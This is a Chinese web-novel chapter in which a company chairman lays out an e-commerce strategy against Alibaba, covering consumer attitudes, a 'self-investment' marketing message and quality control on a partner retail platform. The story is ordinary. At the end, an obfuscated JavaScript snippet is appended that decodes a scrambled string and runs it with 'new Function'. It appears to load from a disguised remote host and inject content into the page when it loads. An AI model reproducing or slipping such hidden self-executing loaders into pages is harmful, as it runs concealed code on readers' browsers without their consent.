(手机请访问 m.duxs8.com); “全国有名的电商平台就那么几家，以前我们的竞争主要是抢用户，抢供应商。现在局面有所转变，就拿江燕和阿里来说，两个平台都有几亿用户。哪来这么多用户？看看数据分析就知道，相当一部分用户都是重叠的，两边买东西。”杭雨说道。
电商发展还有很长的路要走，杭雨召开公司内部的电商战略会议，旨在明确现在的情况，明确下一阶段的发展路线。
除了不断提升技术含量外，营销方式也要不断进化。
“国内还有很多剩余用户等待我们开发，所以抢用户依旧是未来的重点工作。但主要的竞争方向不再是抢用户，因为公司发展到这种程度，新用户冒出来不是选择我们就是选择阿里。”
“那么主要的竞争节点是什么呢？我认为是消费观念！”杭雨说道。
说话间，杭雨操作电脑，会议室的大荧幕上冒出了消费观念四个字。
徐瑞，孙川，姜蓉以及他们的助理，副手，一共十多人认真地看向杭雨，心里思索着消费观念四个字。
“目前我们最大的竞争对手还是阿里，就拿阿里的淘宝和江南商城来对比。以前双方的宣传内容是在区分消费群体，告诉消费者，江南商城的商品质量比较好，淘宝的商品便宜齐全。在这种宣传当中，消费者自然而然地把自己区分开来，选择不一样的平台购物。”
“但我刚才说了，相当一部分消费者是重叠的，他们买不同的商品会有不同的消费观念。比如买衣服，有的消费者觉得衣服不需要那么好，想买便宜的。但是买电器的时候，消费者会更重视质量，于是选择江南商城。”
“由于消费者的观念不同，不断转变的过程中，我们就损失了很多订单。道理很简单，如果大家买任何商品都很重视质量的话，不就都会选择江南商城了吗。”杭雨说道。
众人纷纷点头，觉得杭雨说的很有道理。
但也有人皱着眉头，感觉消费观念这个东西有点虚，不太好控制。
在场的都是电商领域的精英，很了解顾客，知道中国顾客都很精明的。
想改变他们的消费观念，想让一个贪便宜的顾客买质量好价格更高的商品，是一件很困难的事情。
中国宝贝倒是做到了，因为大家对“洋货”高看一眼，贵点也愿意买。
江南商城就难了，大部分用户对淘宝和江南商城分的并不是很清楚，可能会对比价格。事实也是如此，虽然江南商城主打质量，但很多商品的质量其实差不多。
比如几百块钱的衣服，杯子，刷子，洗衣服这些杂货，质量真心好不到哪去。
“以后我们的宣传内容是告诉消费者，买东西不能贪便宜，要重视质量。当然，宣传过程不能太明显，要潜移默化地改变用户的消费观念。”杭雨说道。
“经济基础决定上层建筑，不是用户不重视质量，而是在价格和质量之间，必须有一定的权衡，而权衡的关键是用户的经济状况。消费观念这个东西，我以前做零售的时候研究过，买物美价廉的商品并非我国用户独有，而是全世界的共同观念。美国人多有钱，不也喜欢物美价廉的中国制造，更何况我们自己。”吴慷说道。
吴慷以前是做零售的，现在是中国宝贝的销售经理，专门负责销售问题。
“你说的这些我也想过，但我认为很多用户的经济基础其实足够，之所以选择买便宜货，还是有一种习惯在作祟，不舍得为自己投资。我们要把消费观念这个东西，转变成为自己投资的概念，让消费者对自己大方一点，对家人大方一点，对女朋友大方一点。”杭雨说道。
“这个概念以前也有，不过好像没引起什么波澜。”吴慷说道。
“那是因为以前的互联网没有那么发达，没有一家像我们这样大的企业去宣传。宣传概念就像一把剑，用在不同人的手里，效果是不一样的。”杭雨说道。
“我同意的董事长的概念，旧的宣传方式的效率在降低，换一种新的宣传方式，不仅可以扩大知名度，或许可以起到不错的效果。”徐瑞说道。
其他人也点头认同，杭雨提出的概念虽然不是什么新概念，但是用在互联网时代，或许真的会有意想不到的效果。
至少跟当前的状况是很符合的，用户的消费观念的确是竞争要点。
“既然大家都没意见，回头江南商城和中国宝贝，根据你们自身的特色，以消费观念，自我投资为核心，写一份宣传报告上来。”杭雨说道。
徐瑞和孙川点头，概念是好的，具体怎么操作还得研究一下。
“再说一个问题，就是我们和阿里合作的零售平台，加入的一百多家零售企业，给我们带来了很大的好处。但是因为这些零售企业的标准不一，管理不一，渐渐地给我们带来一些负面作用。比如有的小企业的商品不行，本来不关我们的事，可是他既然挂在我们的平台卖，出了问题用户自然找我们。你们去看看客服部的投诉建议，这个月增加了36%，本来要精简客服人员的，都停了下来，怕人手不够。这还是刚开始没多久，以后时间一长，我们会被那些标准低的零售企业拖垮。”杭雨严肃地道。
“零售平台那些企业不好管，尤其是国民苏宁华润这样的企业，我们不好插手他们的管理，又不能拒绝合作，不然等于把他们推给阿里。”徐瑞说道。
“所以零售平台的质量控制，成了我们要面临的一个新难题。”杭雨说道。
质量控制一直都是江燕公司的重点工作，大范围合作就这点不好，合作方一多难免出岔子，良莠不齐，拖累了江燕公司。
不合作又不行，如果江燕拒绝那些企业，阿里肯定会很开心地捡回去。
面临这样一个难题，杭雨决定是迎难而上！
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();